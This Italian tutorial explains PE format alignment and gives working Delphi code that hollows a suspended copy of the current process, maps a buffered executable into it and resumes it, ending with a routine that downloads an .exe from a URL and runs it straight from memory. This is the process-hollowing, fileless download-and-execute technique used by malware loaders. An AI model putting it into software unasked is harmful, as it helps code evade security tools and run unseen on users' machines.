|
In questo articolo andiamo ad affrontare un argomento un pò complicato: in
pratica proveremo a lanciare un .exe facendo riferimento alla sua immagine
caricata nella ram invece del file .exe su disco. Un tipico esempio può essere
il seguente: dispongo di un .exe su un server web, trasferisco il .exe dal web
(ci sarà un url ad esempio
http://www.miosito.com/sviluppo/mioprog.exe) ad un buffer in memoria e poi
eseguo il programma a partire dal contenuto del buffer. Inizieremo con una breve
descrizione del formato PE (Portable Executable) limitandoci naturalmente agli
argomenti che interessano il progetto in questione.
1. Formato PE (una breve descrizione)
Partiamo dal seguente grafico che raccoglie tutti i concetti inerenti il PE
che ci serviranno per realizzare la procedura.
Figura 1
Tutto quello chi ci serve sapere per ora, relativamente al formato PE, è
contenuto in questo grafico. Un'altra cosa importante è l'allineamento delle
Section che varia a seconda che si parli del file .exe o del file stesso
caricato nello spazio di memoria dal Loader di Windows (in questo caso si parla
di Modulo). Per rappresentare graficamente anche questo concetto partiamo dalla
seguente semplificazione del formato PE
Figura 2

Passiamo ora al grafico che mi espone le differenze tra il file su disco ed
il modulo caricato in memoria dal Loader
Figura 3

Il FileAlignment rappresenta il valore di allineamento delle Sections nel
file .exe: in pratica le Sections vengono memorizzate sul file .exe a partire da
indirizzi (File offset ossia il valore dell'indirizzo esprime l'offset rispetto
all'inizio del file) multipli del FileAlignment: tale valore è una potenza di 2
inclusa tra 2^9 (512) e 2^16 (ossia 64 K). Di solito è pari a 512.
Il SectionAlignment rappresenta il valore di Allineamento delle Sections
relativamente al modulo .exe caricato dal Loader nello spazio di memoria del
processo associato: in pratica le Sections vengono memorizzate nel modulo
caricato in memoria a partire da indirizzi (RVA ossia indirizzi relativi al
modulo caricato; RVA significa appunto Relative Virtual Address) multipli del
SectionAlignment: non può essere inferiore al
FileAlignment; di default viene assegnato pari alla dimensione delle pagine di
memoria dell'architettura su cui si lavora: ad esempio 4096 (4 K). Si noti che
se il SectionAlignment è inferiore alla dimensione delle pagine di memoria, il
FileAlignment deve essere uguale al SectionAlignment. Un'altra cosa importante
da dire è che non ci possono essere "buchi": in pratica la Section i sarà
memorizzata a partire da un indirizzo uguale al multiplo di SectionAlignment più
piccolo tra tutti quelli superiori all'indirizzo in cui finisce la
Section i-1
(ossia quella caricata appena prima della Section i).
In pratica quando si fa doppio click su un .exe (o quando lo si avvia in
qualsiasi altra maniera ad esempio da linea di comando o altro), viene creato un
Processo che altro non è che un contenitore di Thread (unità di esecuzione del
codice); il Processo ha associato uno spazio di memoria (Virtual Address Space):
in questo spazio di memoria vengono definite le strutture dati usate da Windows
per la gestione del Processo (prima tra tutte il Process Environment Block o in
breve PEB) poi si passa al caricamento del file .exe nello spazio di memoria;
tale caricamento avviene nella maniera descritta dall'Immagine 3 facendo
riferimento ai concetti di FileAlignment e SectionAlignment precedentemente
descritti. Quello che dovremo fare noi per raggiungere l'obiettivo preposto,
sarà creare un processo in forma SUSPENDED e poi caricargli il file .exe (che
avremo all'interno di un buffer in memoria) come modulo nel suo spazio di
memoria (usando le classiche api win32 VirtualAllocEx e WriteProcessMemory); una
volta fatto questo dovremo modificare il context del main thread del processo
creato, in maniera tale che l'entrypoint del processo sia l'entrypoint del
modulo caricato. In questo modo verrà eseguito il .exe presente nel buffer in
memoria. Bene, dalle parole ai fatti.
2. Struttura
In questo paragrafo vengono esaminate in maniera dettagliata tutte le
procedure che andranno a costruire la nostro procedura finale. Tutte le
procedure usufruiscono delle definizioni relative al PE Format incluse nella
Unit Windows di Delphi, quindi non occorre reinventare la ruota o includere Unit
di terze parti.
2.1 Quello che ho in memoria, è un PE valido???
Come prima cosa bisogna necessariamente verificare che la sequenza di byte
che ho nel mio buffer corrisponda ad un file .PE ossia verifichi le
caratteristiche esposte dall'Immagine 1
//funzione che verifica se la sequenza di byte puntata
//da FileMemory corrisponde al PE Format
function IsValidPE(FileMemory: Pointer): Boolean;
var
DosHeader: PImageDosHeader;
PEHeader: PImageNtHeaders;
begin
result := False;
DosHeader := PImageDosHeader(FileMemory);
if not DosHeader^.e_magic = IMAGE_DOS_SIGNATURE then
Exit;
PEHeader := PImageNtHeaders(Cardinal(DosHeader) + DosHeader^._lfanew);
if IsBadReadPtr(PEHeader, sizeof(IMAGE_NT_HEADERS)) or
(PEHeader^.Signature <> IMAGE_NT_SIGNATURE) then
Exit;
Result := True;
end;
2.2 Arrotondare per eccesso la dimensione di una Section all'alignment (FileAlignment o SectionAlignment)
function SizeOnAlignment(Size: Cardinal; Alignment: Cardinal): Cardinal;
begin
if ((Size mod Alignment) = 0) then
begin
Result := Size;
end
else
begin
Result := ((Size div Alignment) + 1) * Alignment;
end;
end;
Se sommiamo il valore ottenuto all'indirizzo di base della Section in questione, otteniamo l'indirizzo di base della Section successiva 2.3 Dimensione del modulo caricato Come già evidenziato nell'Immagine 3 il file .exe ed il modulo corrispondente caricato in memoria hanno dimensioni differenti. Quello che ci interessa sapere è la dimensione del modulo mappato. Analizzeremo 2 procedure al riguardo: 2.3.1 Estraggo il valore direttamente dal campo SizeOfImage dell' Optional Header
function ImageSize(Image: pointer): Cardinal;
var
ImageNtHeaders: PImageNtHeaders;
begin
//ottengo il puntatore al PE Header (detto anche NT Headers)
ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
result := ImageNtHeaders.OptionalHeader.SizeOfImage;
end;
2.3.2 Calcolo manuale del valore sommando le singole dimensioni
...
//Section Table
type
TSections = array [0..0] of TImageSectionHeader;
...
function LoadedSize(FileMemory: pointer): Cardinal;
var
PEHeader: PImageNtHeaders;
SectionAlignment: Cardinal;
SizeOfHeaders: Cardinal;
NumberOfSections: Cardinal;
SizeOfSections: Cardinal;
PSections: ^TSections;
idxSectionHeader: Cardinal;
begin
//ottengo il puntatore al PE Header (detto anche NT Header)
PEHeader := pointer(Cardinal(Cardinal(FileMemory)) +
Cardinal(PImageDosHeader(FileMemory)._lfanew));
//ottengo il numero delle Section: mi servirà quando andro a ciclare su tutte le Section
NumberOfSections := PEHeader.FileHeader.NumberOfSections;
//ottengo il SectionAlignment
SectionAlignment := PEHeader.OptionalHeader.SectionAlignment;
//ottengo il puntatore alla Section Table
PSections := pointer(Cardinal(@(PEHeader.OptionalHeader)) +
PEHeader.FileHeader.SizeOfOptionalHeader);
//Piccola digressione sulla dimensione totale degli Headers
//1) SizeOfHeaders := PEHeader.OptionalHeader.SizeOfHeaders;
//Dimensione degli Headers nel file .exe: coinvolge anche il FileAlignment;
//in pratica questo valore mi rappresenta la posizione nel file .exe (offset)
//a partire dalla quale inizia la prima Section
//
//2) SizeOfHeaders := Cardinal(PSections) - Cardinal(FileMemory) +
// NumberOfSections * SizeOf(TImageSectionHeader);
//Dimensione effettiva degli Headers senza considerare il FileAlignment
//
//3) SizeOfHeaders := SizeOnAlignment(PEHeader.OptionalHeader.SizeOfHeaders,
// SectionAlignment);
//Dimensione degli Headers nel modulo caricato dal Loader: coinvolge
//il SectionAlignment; è in sostanza l'RVA della prima Section
SizeOfHeaders := SizeOnAlignment(PEHeader.OptionalHeader.SizeOfHeaders,
SectionAlignment);
//Ciclo aggiunto per verificare che la prima Section coincida con la fine
//degli headers; in caso contrario la dimensione degli headers viene settata
//pari all' offest della prima Section; questo ha a che vedere con i vari packers
//(tipo UPX, etc...) ma va verificata, forse la questione è più complessa;
//si noti che l'ordine degli elementi nella Section Table, non necessariamente
//corrisponde all'ordine delle Section in memoria: ad esempio il terzo elemento
//non necessariamente fa riferimento alla Section 3.
for idxSectionHeader := 0 to NumberOfSections - 1 do
begin
if PSections[idxSectionHeader].PointerToRawData < SizeOfHeaders then
SizeOfHeaders := PSections[idxSectionHeader].PointerToRawData;
end;
SizeOfHeaders := SizeOnAlignment(SizeOfHeaders, SectionAlignment);
//Ohhh... bene, passiamo ora a calcolare la dimensione totale di tutte le Section
SizeOfSections := 0;
for idxSectionHeader := 0 to NumberOfSections - 1 do
begin
//piccola digressione sulla dimensione di una Section
//1) PSections[idxSectionHeader].SizeOfRawData
//è la dimensione della section nel file .exe: essa coinvolge anche
//il FileAlignment; si tratta quindi di un valore arrotondato
//2) PSections[idxSectionHeader].Misc.VirtualSize
//è la dimensione della section nel modulo mappato in memoria: non coinvolge
//il SectionAlignment; non è quindi un valore arrotondato: può quindi anche
//essere minore del SizeOfRawData che invece è il risultato di un allineamento
//al FileAlignment
Inc(SizeOfSections,
SizeOnAlignment(PSections[idxSectionHeader].Misc.VirtualSize,
SectionAlignment)
);
end;
//Dimensione totale = dimensione Headers + dimensione totale delle Section
result := SizeOfHeaders + SizeOfSections;
end;
Ho deciso di inserire la maggior parte delle considerazioni come commenti all'interno del codice perchè altrimenti si fa fatica a capirci qualcosa. Ho eseguito dei test ed ho notato che a volte le 2 procedure restituiscono risultati differenti: ho scansionato tutti i .exe a disposizione sul pc e sulle memorie collegate (circa 1 Terabyte di dati in tutto) e a volte i risultati sono differenti; lo stesso ciclo inserito nella procedura relativamente al controllo della posizione della prima Section in coincidenza con la fine degli Headers, è il frutto di questi test: in certi .exe la prima Section inizia molto prima del termine degli Headers. Behh, useremo la funzione LoadedSize. 2.4 Emulazione del Loader di Windows nel caricamento del .exe come modulo nello spazio di memoria di un processo
//Funzione che prende in input un buffer contenente un file .exe
//e restituisce in output il risultato del mapping in memoria così come
//verrebbe effettuato dal Loader di Windows
...
//Section Table
type
TSections = array [0..0] of TImageSectionHeader;
...
function MapEXE(
FileMemory: Pointer; //[input]: contenuto del .exe
FileMemoryLoaded: Pointer //[output]: disposizione del .exe come modulo mappato in memoria
): Boolean;
//N.B. il buffer puntato da FileMemoryLoaded deve essere stato precedentemente allocato
//(ad esempio tramite chiamata a GetMem) con una dimensione pari al valore
//restituito dalla funzione LoadedSize
var
PEHeader: PImageNtHeaders;
SectionAlignment: Cardinal;
SizeOfHeaders: Cardinal;
NumberOfSections: Cardinal;
SectionSize: Cardinal;
PSections: ^TSections;
idxSectionHeader: Cardinal;
FileData: Pointer;
begin
Result:= False;
FileData := FileMemoryLoaded;
//ottengo il puntatore al PE Header
PEHeader := pointer(Cardinal(Cardinal(FileMemory)) +
Cardinal(PImageDosHeader(FileMemory)._lfanew));
//dimensione totale degli Headers
SizeOfHeaders := PEHeader.OptionalHeader.SizeOfHeaders;
//copio in FileData i bytes presenti nel file fino alla prima Section (esclusa)
CopyMemory(FileData, FileMemory, SizeOfHeaders);
//numero delle Section
NumberOfSections := PEHeader.FileHeader.NumberOfSections;
//ottengo il puntatore alla Section Table
PSections := pointer(Cardinal(@(PEHeader.OptionalHeader)) +
PEHeader.FileHeader.SizeOfOptionalHeader);
for idxSectionHeader := 0 to NumberOfSections - 1 do
begin
//piccola digressione sull'indirizzo di inizio di una Section
//1) PSections[idxSectionHeader].PointerToRawData
//è la posizione all'interno del file .exe (file offset ossia la distanza
//dall'inzio del file) in cui ha inizio la Section
//2) PSections[idxSectionHeader].VirtualAddress
//è l'RVA in cui ha inizio la Section nel modulo mappato in
//memoria: è la distanza dall'indirizzo base di caricamento del modulo
FileData := pointer(Cardinal(FileMemoryLoaded) +
PSections[idxSectionHeader].VirtualAddress);
//se la Section in question non ha dati associati nel file .exe,
//la possiamo ovviamente saltare
if PSections[idxSectionHeader].PointerToRawData <> 0 then
begin
//
//piccola digressione sulla dimensione di una Section
//1) PSections[idxSectionHeader].SizeOfRawData
//è la dimensione della section nel file .exe: essa coinvolge
//anche il FileAlignment; si tratta quindi di un valore arrotondato
//2) PSections[idxSectionHeader].Misc.VirtualSize
//è la dimensione della section nel modulo mappato in memoria: non
//coinvolge il SectionAlignment; non è quindi un valore arrotondato: può
//quindi anche essere minore del SizeOfRawData che invece è il
//risultato di un allineamento al FileAlignment
SectionSize := Min(PSections[idxSectionHeader].SizeOfRawData,
PSections[idxSectionHeader].Misc.VirtualSize);
//copio la Section così come la copierebbe il Loader di Windows
CopyMemory(FileData,
pointer(Cardinal(FileMemory) +
PSections[idxSectionHeader].PointerToRawData
),
SectionSize);
end;
end;
result := True;
end;
2.5 Abbiamo tutto e possiamo finalmente realizzare la nostra procedura Come prima cosa dobbiamo definirci 2 funzioni di supporto che ci serviranno
//prende in input un buffer contenente un file .exe e restituisce
//l'RVA in cui si trova l'indirizzo di base di caricamento preferito del modulo
function PE_ImageBase(FileMemory: Pointer): Cardinal;
var
DosHeader: PImageDosHeader;
PEHeader: PImageNtHeaders;
begin
DosHeader := PImageDosHeader(FileMemory);
PEHeader := PImageNtHeaders(Cardinal(DosHeader) + DosHeader^._lfanew);
Result := PEHeader.OptionalHeader.ImageBase;
end;
//prende in input un buffer contenente un file .exe e restituisce
//l'RVA in cui si trova l'RVA dell'entrypoint del modulo
function PE_AddressOfEntryPoint(FileMemory: Pointer): Cardinal;
var
DosHeader: PImageDosHeader;
PEHeader: PImageNtHeaders;
begin
DosHeader := PImageDosHeader(FileMemory);
PEHeader := PImageNtHeaders(Cardinal(DosHeader) + DosHeader^._lfanew);
Result := PEHeader.OptionalHeader.AddressOfEntryPoint;
end;
Bene, a questo punto vediamo subito il codice della procedura
function RunMemoryEXE(
ExeImage: Pointer; //puntatore al buffer che contiene il modulo caricato
//in memoria; è il risultato di una chiamata
//alla funzione MapEXE
ExeImageSize: Cardinal //dimensione del Buffer puntato da ExeImage; è il
//risultato di una chiamata alla funzione LoadedSize
): Boolean;
var
ExeImageBase: Cardinal;
ExeAddressOfEntryPoint: Cardinal;
BaseAddress, Bytes: Cardinal;
Context: TContext;
ProcInfo: TProcessInformation;
StartInfo: TStartupInfo;
begin
///////IMPORTANTE!!!!/////////////
//In un processo creato in maniera SUSPENDED si ha
//Context.eax = entry point virtual address
//Context.ebx = indirizzo del Process Environment Block (PEB);
//(N.B. il PEB si trova sempre all'indirizzo $7FFDF000)
//N.B.: i 4 bytes all'indirizzo PEB + 8 rappresentano l'IMAGEBASE del modulo .exe
//ossia l'indirizzo di base di caricamento del modulo
//ricavo l'RVA a cui si trova l'indirizzo di base di caricamento preferito del modulo
ExeImageBase := PE_ImageBase(ExeImage);
//ricavo l'RVA a cui si trova l'RVA dell'entrypoint del modulo
ExeAddressOfEntryPoint := PE_AddressOfEntryPoint(ExeImage);
//procedo alla creazione in forma SUSPENDED di un processo che
//fa riferimento allo stesso .exe del programma corrente: in pratica
//questa ulteriore istanza del processo corrente servirà come
//terreno di base per eseguire il programma il cui .exe è
//memorizzato nel buffer puntato da ExeImage
ZeroMemory(@StartInfo, SizeOf(StartupInfo));
ZeroMemory(@Context, SizeOf(TContext));
CreateProcess(nil,
pchar(ParamStr(0)),
nil,
nil,
False,
CREATE_SUSPENDED,
nil,
nil,
StartInfo,
ProcInfo);
//ho creato il processo in forma suspended: nello spazio
//di memoria associato si trovano 3 moduli caricati:
//il .exe, la dll ntdll.dll e la dll kernel32.dll
//ricavo il CONTEXT relativo al main thread del processo appena creato
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ProcInfo.hThread, Context);
//ricavo l'indirizo di base di caricamento del modulo .exe
//(è il .exe di questo programma)
ReadProcessMemory(ProcInfo.hProcess,
pointer(Context.Ebx + 8),
@BaseAddress,
4,
Bytes);
//tento ora di scaricare la section relativa al modulo .exe
//per avere un processo con relativo spazio
//di memoria virtuale praticamente disponibile
//a ricevere il nuovo eseguibile
if NtUnmapViewOfSection(ProcInfo.hProcess, BaseAddress) < 0 then
begin
//se qualcosa è andato storto, allora termino il
//nuovo processo ed esco; in pratica l'unmapping
//della section mi consente di evitare di ricorrere
//alle procedure di gestione della rilocazione:
//infatti se il .exe che voglio caricare (quello che
//ho memorizzato nel buffer) ha come indirizzo
//preferito di caricamento un indirizzo che lo andrebbe
//a caricare nella stessa area in cui si trova
//il .exe già presente, verrebbe generata una eccezione;
//l'unica strada sarebbe quella di caricare
//il nostro .exe in una zona libera ma a quel punto
//dovremmo andare ad aprire la tabella delle
//rilocazioni e procedere alla modifica di tutti
//gli indirizzi soggetti a rilocazione; in questo
//modo invece andiamo a scaricare il modulo .exe
//già presente ed il nostro .exe lo possiamo caricare
//tranquillamente;
TerminateProcess(ProcInfo.hProcess, 1);
Exit;
end;
//Ok: a questo punto allochiamo memoria nello spazio
//di memoria del processo che ci siamo creati;
VirtualAllocEx(ProcInfo.hProcess,
pointer(ExeImageBase),
ExeImageSize,
MEM_RESERVE or MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
//Vado ora a copiare il modulo caricato nello spazio
//di memoria del processo che ci siamo creati
WriteProcessMemory(ProcInfo.hProcess,
pointer(ExeImageBase),
ExeImage,
ExeImageSize,
Bytes);
//Bene: il processo che ci siamo creati contiene ora
//nel suo spazio di memoria 3 moduli:
//il modulo .exe che vogliamo eseguire (quello che avevamo nel buffer),
//la dll ntdll.dll e la dll kernel32.dll
//a questo punto aggiorno il CONTEXT del main thread
//del processo creato assegnadogli l'indirizzo di base
//di caricamento del modulo .exe con il valore relativo
//al nuovo modulo .exe caricato
WriteProcessMemory(ProcInfo.hProcess,
pointer(Context.Ebx + 8),
@ExeImageBase,
4,
Bytes);
//Poi aggiorno l'indirizzo dell'entrypoint
//usando il valore relativo al nuovo modulo .exe caricato
Context.Eax := ExeImageBase + ExeAddressOfEntryPoint;
//applico le modifiche al CONTEXT ed eseguo il
//Resume del main thread del processo: come risultato
//andrà in esecuzione il programma che avevamo nel buffer
SetThreadContext(ProcInfo.hThread, Context);
ResumeThread(ProcInfo.hThread);
//Se qualcuno ci ha capito qualcosa subito ...
end;
anche in questo caso ho preferito procedere alla spiegazione di pari passo col codice 2.6 Per finire Per finire si giunge alla seguente funzione che ho deciso di chiamare EmulateLoader, che chiama in sequenza tutte le funzione viste in precedenza
function EmulateLoader(FileMemory: Pointer //buffer contenente un .exe
): Boolean;
var
//memoria occupata dall'eseguibile una volta caricato in memoria dal loader
LoadedMemory: Cardinal;
//puntatore alla memoria utilizzata dall'eseguibile una volta caricato dal loader
//sarà poi il valore restituito dalla funzione
ptrLoadedMemory: Pointer;
begin
result := False;
if not IsValidPE(FileMemory) then
Exit;
LoadedMemory := LoadedSize(FileMemory);
GetMem(ptrLoadedMemory, LoadedMemory);
MapEXE(FileMemory, ptrLoadedMemory);
RunMemoryEXE(ptrLoadedMemory, LoadedMemory);
FreeMem(ptrLoadedMemory);
result := True;
end;
3. Download dal web ed esecuzione A questo punto rimane una sola cosa da fare, ossia crearci la procedura per scaricare il .exe dal web. Internet è piena zeppa di procedure già pronte, librerie, componenti; gli Indy Components inclusi di default in Delphi 7 sono lì, belli belli che non vedono l'ora di essere usati, ma in questo caso ho deciso di optare per una libreria Open Source in Delphi molto ben fatta e dedicata appunto al networking: la Synapse Library; l'utilizzo della libreria è semplice ed immediato in quanto si tratta di un gruppo di file .pas in una cartella: basta inserire il path alla cartella nell'environment di Delphi ed il gioco è fatto. Di seguito la procedura per scaricare un file .exe dal web e runnarlo automaticamente dal buffer di memoria
...
uses
httpsend;
...
procedure DownloadAndRun(URL: string);
var
HTTP: THTTPSend;
begin
HTTP := THTTPSend.Create;
try
if not HTTP.HTTPMethod('GET', URL) then
begin
//inserire qui eventuali segnalazioni dell'errore
Exit;
end;
EmulateLoader(HTTP.Document.Memory);
finally
HTTP.Free;
end;
end;
DownloadAndRun.7z
|